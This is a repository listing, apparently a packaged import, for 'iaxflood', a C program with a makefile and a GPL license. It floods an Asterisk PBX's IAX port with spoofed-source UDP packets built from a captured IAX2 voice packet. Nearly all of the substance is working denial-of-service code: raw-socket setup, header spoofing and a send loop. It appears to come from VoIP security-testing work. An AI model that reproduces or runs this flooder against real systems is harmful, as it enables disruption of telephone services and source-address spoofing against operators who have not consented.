Codebase list iaxflood / fcea8c2
Imported Upstream version 0.1 Devon Kearns 11 years ago
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LICENSE_SOFTWARE less more
0 GNU GENERAL PUBLIC LICENSE
1 Version 2, June 1991
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315 Gnomovision version 69, Copyright (C) 19yy name of author
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+261
-0
iaxflood.c less more
0 //-------------------------------------------------------------------------------
1 //
2 // iaxflood.c - A UDP Inter-Asterisk_eXchange (i.e. IAX)
3 // packet was captured from an IAX channel
4 // between two Asterisk IP PBX's. The content
5 // of that packet is the source of the payload
6 // for the attack embodied by this tool. While the
7 // IAX protocol header might not match the
8 // Asterisk PBX you'll attack with this tool, it
9 // may require more processing on the part of
10 // the PBX than a simple udpflood without any
11 // payload that even resembles an IAX payload.
12 //
13 // The packet content on which the payload for this tool is
14 // based follows:
15 //
16 // This is a print of an IAX channel RTP bearing minipacket from an inter-domain
17 // call. Offsets into the packet are as follows:
18 //
19 // Offset:
20 //
21 // 0x1e - Beginning of IP header
22 //
23 // 0x10 - IP header's total length field (i.e. 192 = 0x00c0)
24 //
25 // 0x22 - Source port (i.e. 4569, the default IAX channel port) - Beginning of UDP header
26 //
27 // 0x24 - Dest port (i.e. 4569, the default IAX channel port)
28 //
29 // 0x26 - UDP header's Length field (i.e. 172 = 0x00ac)
30 //
31 // 0x28 - UDP header's Checksum field - Ethereal claims it is incorrect and should
32 // be 0x58B5.
33 //
34 // 0x2a - This is the beginning of the 4 byte IAX version/call id field.
35 // The "source call" field is the 16 bits beginning at offset 0x2a (i.e. 4)
36 // The Timestamp is the 16 bits beginning at offset 0x2c (i.e. 9869)
37 //
38 // 0x2e - This is the start of the RTP data (i.e. beginning with value 0xca). The
39 // RTP payload is 160 bytes in length.
40 //
41 // No. Time Source Destination Protocol Info
42 // 110 12.723515 10.1.101.2 10.1.101.1 IAX2 Mini packet, source call# 4, timestamp 9869ms, Raw mu-law data (G.711)
43 //
44 // Frame 110 (206 bytes on wire, 206 bytes captured)
45 // Ethernet II, Src: DellComp_db:7e:71 (00:08:74:db:7e:71), Dst: 3com_ce:72:c0 (00:10:5a:ce:72:c0)
46 // Internet Protocol, Src: 10.1.101.2 (10.1.101.2), Dst: 10.1.101.1 (10.1.101.1)
47 // User Datagram Protocol, Src Port: 4569 (4569), Dst Port: 4569 (4569)
48 // Source port: 4569 (4569)
49 // Destination port: 4569 (4569)
50 // Length: 172
51 // Checksum: 0xdec2 [incorrect, should be 0x58b5]
52 // Inter-Asterisk eXchange v2
53 // Packet type: Mini voice packet (0)
54 // .000 0000 0000 0100 = Source call: 4
55 // Call identifier: 1
56 // Timestamp: 9869
57 // Absolute Time: Jul 17, 2006 19:45:03.263803000
58 // Lateness: -0.001746000 seconds
59 // IAX2 payload (160 bytes)
60 // Data (160 bytes)
61 //
62 // 0000 00 10 5a ce 72 c0 00 08 74 db 7e 71 08 00 45 10 ..Z.r...t.~q..E.
63 // 0010 00 c0 00 30 40 00 40 11 5b e8 0a 01 65 02 0a 01 ...0@.@.[...e...
64 // 0020 65 01 11 d9 11 d9 00 ac de c2 00 04 26 8d ca f5 e...........&...
65 // 0030 52 e8 7c f6 7c 5e f7 e6 62 6c da 78 6e 52 69 d9 R.|.|^..bl.xnRi.
66 // 0040 6e 76 77 fb d9 6c f1 ee 6e 5d 6d e4 df e3 69 d8 nvw..l..n]m...i.
67 // 0050 61 62 f7 54 d7 de 55 e1 f1 65 79 79 6c ca f7 4d ab.T..U..eyyl..M
68 // 0060 6b ef ee 64 7b eb d8 6c 51 dc eb 6a 66 6f e1 ec k..d{..lQ..jfo..
69 // 0070 6b 64 d5 e6 59 5f f3 e1 f1 67 6f e3 f0 63 75 da kd..Y_...go..cu.
70 // 0080 f7 6a 68 73 e3 73 6d f0 70 ea 7b fc ef 71 66 74 .jhs.sm.p.{..qft
71 // 0090 eb 6e ef ef 5a fa ea 66 76 ed e1 6c 6f e9 72 fa .n..Z..fv..lo.r.
72 // 00a0 65 73 d6 e0 5f 5e dc e3 67 76 5e e2 e5 53 ef e3 es.._^..gv^..S..
73 // 00b0 5c f5 ec 62 ea 6b 55 df e9 e8 f7 62 f4 f9 f2 ee \..b.kU....b....
74 // 00c0 7c 6f 5d ee e6 fb f2 ed 5d 7d f2 7d e6 7a |o].....]}.}.z
75 //
76 // This tool is derived from code downloaded from
77 // www.packetstromsecurity.nl. Its origin is
78 // unknown. There was no copyright or license
79 // accompanying the code. As such, the following
80 // copyright/license is applied to this derivation.
81 //
82 // Copyright (C) 2006 Mark D. Collier/Mark O'Brien
83 //
84 // This program is free software; you can redistribute it and/or modify
85 // it under the terms of the GNU General Public License as published by
86 // the Free Software Foundation; either version 2 of the License, or
87 // (at your option) any later version.
88 //
89 // This program is distributed in the hope that it will be useful,
90 // but WITHOUT ANY WARRANTY; without even the implied warranty of
91 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
92 // GNU General Public License for more details.
93 //
94 // You should have received a copy of the GNU General Public License
95 // along with this program; if not, write to the Free Software
96 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
97 //
98 // Author: Mark D. Collier/Mark O'Brien - 07/19/2006 v1.0
99 // www.securelogix.com - [email protected]
100 // www.hackingexposedvoip.com
101 //
102 //-------------------------------------------------------------------------------
103
104 #include <sys/types.h>
105 #include <sys/socket.h>
106 #include <netinet/in_systm.h>
107 #include <netinet/in.h>
108 #include <netinet/ip.h>
109 #include <netinet/udp.h>
110 #include <errno.h>
111 #include <string.h>
112 #include <netdb.h>
113 #include <arpa/inet.h>
114 #include <stdio.h>
115 #include <stdlib.h>
116
117 struct sockaddr sa;
118
119 main ( int argc, char **argv ) {
120
121 int fd;
122 int x = 1;
123 int srcport, destport;
124 int numpackets;
125
126 struct sockaddr_in *p;
127 struct hostent *he;
128
129
130 // Description of IP header bytes in first 5 lines:
131 //
132 // IP version & hdr len 0x45, DSCP 0x10, IP packet len 0x00c0
133 // IP hdr ID 0x0030, Fragment spec (i.e. don't frag, offset 0) 0x4000
134 // TTL (0x40), UDP protocol (0x11), hdr checksum 0x0000
135 // src IP
136 // dest IP
137 //
138 //Description of UDP header in lines 6 and 7:
139 //
140 // src port 4569, dest port 4569
141 // UDP packet len, checksum (flagged as incorrect by Ethereal)
142 //
143 // IAX2 header in line 8:
144 // source call = 4, Timestamp: 9869
145 //
146 // RTP payload beginning in line 9
147
148 u_char gram[192]=
149 {
150 0x45, 0x10, 0x00, 0xC0,
151 0x00, 0x30, 0x40, 0x00,
152 0x40, 0x11, 0x00, 0x00,
153 0, 0, 0, 0,
154 0, 0, 0, 0,
155
156 0x11, 0xD9, 0x11, 0xD9,
157 0x00, 0xAC, 0xDE, 0xC2,
158
159 0x00, 0x04, 0x26, 0x8d,
160
161 0xca, 0xf5, 0x52, 0xe8, 0x7c, 0xf6, 0x7c, 0x5e,
162 0xf7, 0xe6, 0x62, 0x6c, 0xda, 0x78, 0x6e, 0x52,
163 0x69, 0xd9, 0x6e, 0x76, 0x77, 0xfb, 0xd9, 0x6c,
164 0xf1, 0xee, 0x6e, 0x5d, 0x6d, 0xe4, 0xdf, 0xe3,
165 0x69, 0xd8, 0x61, 0x62, 0xf7, 0x54, 0xd7, 0xde,
166 0x55, 0xe1, 0xf1, 0x65, 0x79, 0x79, 0x6c, 0xca,
167 0xf7, 0x4d, 0x6b, 0xef, 0xee, 0x64, 0x7b, 0xeb,
168 0xd8, 0x6c, 0x51, 0xdc, 0xeb, 0x6a, 0x66, 0x6f,
169 0xe1, 0xec, 0x6b, 0x64, 0xd5, 0xe6, 0x59, 0x5f,
170 0xf3, 0xe1, 0xf1, 0x67, 0x6f, 0xe3, 0xf0, 0x63,
171 0x75, 0xda, 0xf7, 0x6a, 0x68, 0x73, 0xe3, 0x73,
172 0x6d, 0xf0, 0x70, 0xea, 0x7b, 0xfc, 0xef, 0x71,
173 0x66, 0x74, 0xeb, 0x6e, 0xef, 0xef, 0x5a, 0xfa,
174 0xea, 0x66, 0x76, 0xed, 0xe1, 0x6c, 0x6f, 0xe9,
175 0x72, 0xfa, 0x65, 0x73, 0xd6, 0xe0, 0x5f, 0x5e,
176 0xdc, 0xe3, 0x67, 0x76, 0x5e, 0xe2, 0xe5, 0x53,
177 0xef, 0xe3, 0x5c, 0xf5, 0xec, 0x62, 0xea, 0x6b,
178 0x55, 0xdf, 0xe9, 0xe8, 0xf7, 0x62, 0xf4, 0xf9,
179 0xf2, 0xee, 0x7c, 0x6f, 0x5d, 0xee, 0xe6, 0xfb,
180 0xf2, 0xed, 0x5d, 0x7d, 0xf2, 0x7d, 0xe6, 0x7a
181 };
182
183 if ( argc != 4 ) {
184 fprintf ( stderr,
185 "usage: %s sourcename destinationname numpackets\n",
186 *argv );
187 exit ( EXIT_FAILURE );
188 }
189
190 // srcport = atoi ( argv[3] );
191 // destport = atoi ( argv[4] );
192
193 srcport = 4569; // the well-known iax port
194 destport = 4569; // the well-known iax port
195
196 numpackets = atoi ( argv[3] );
197
198 fprintf ( stderr,
199 "Will flood port %d from port %d %d times",
200 destport, srcport, numpackets );
201
202 if ( ( he = gethostbyname ( argv[1] ) ) == NULL ) {
203 fprintf ( stderr, "can't resolve source hostname\n" );
204 exit ( EXIT_FAILURE );
205 }
206
207 bcopy ( *(he->h_addr_list), (gram+12), 4 );
208
209 if ( ( he = gethostbyname( argv[2] ) ) == NULL ) {
210 fprintf ( stderr, "can't resolve destination hostname\n" );
211 exit ( EXIT_FAILURE );
212 }
213
214 bcopy ( *(he->h_addr_list), (gram+16), 4 );
215
216 // *(u_short*)(gram+20) = htons( (u_short) srcport );
217 // *(u_short*)(gram+22) = htons( (u_short) destport );
218
219 p = ( struct sockaddr_in* ) &sa;
220 p->sin_family = AF_INET;
221 bcopy ( *(he->h_addr_list), &(p->sin_addr), sizeof(struct in_addr) );
222
223 if ( ( fd = socket ( AF_INET, SOCK_RAW, IPPROTO_RAW ) ) == -1 ) {
224 perror("socket");
225 exit ( EXIT_FAILURE );
226 }
227
228 #ifdef IP_HDRINCL
229 fprintf ( stderr, "\nWe have IP_HDRINCL \n" );
230 if ( setsockopt ( fd, IPPROTO_IP, IP_HDRINCL, (char*)&x, sizeof(x) ) < 0 ) {
231 perror ( "setsockopt IP_HDRINCL" );
232 exit ( EXIT_FAILURE );
233 }
234 #else
235 fprintf ( stderr, "\nWe don't have IP_HDRINCL \n" );
236 #endif
237
238 printf("\nNumber of Packets sent:\n\n");
239
240 //
241 // Main loop
242 //
243
244 for ( x = 0; x < numpackets; x++ ) {
245 if ( ( sendto ( fd,
246 &gram,
247 sizeof(gram),
248 0,
249 ( struct sockaddr* ) p,
250 sizeof(struct sockaddr) ) )
251 == -1 ) {
252 perror ( "sendto" );
253 exit ( EXIT_FAILURE );
254 }
255 printf ( "\rSent %d ", x+1 );
256 }
257
258 printf ( "\n" );
259 exit ( EXIT_SUCCESS );
260 } // end iaxflood
+6
-0
makefile less more
0 iaxflood: iaxflood.c
1 gcc iaxflood.c -o iaxflood
2
3 clean:
4 rm -f iaxflood
5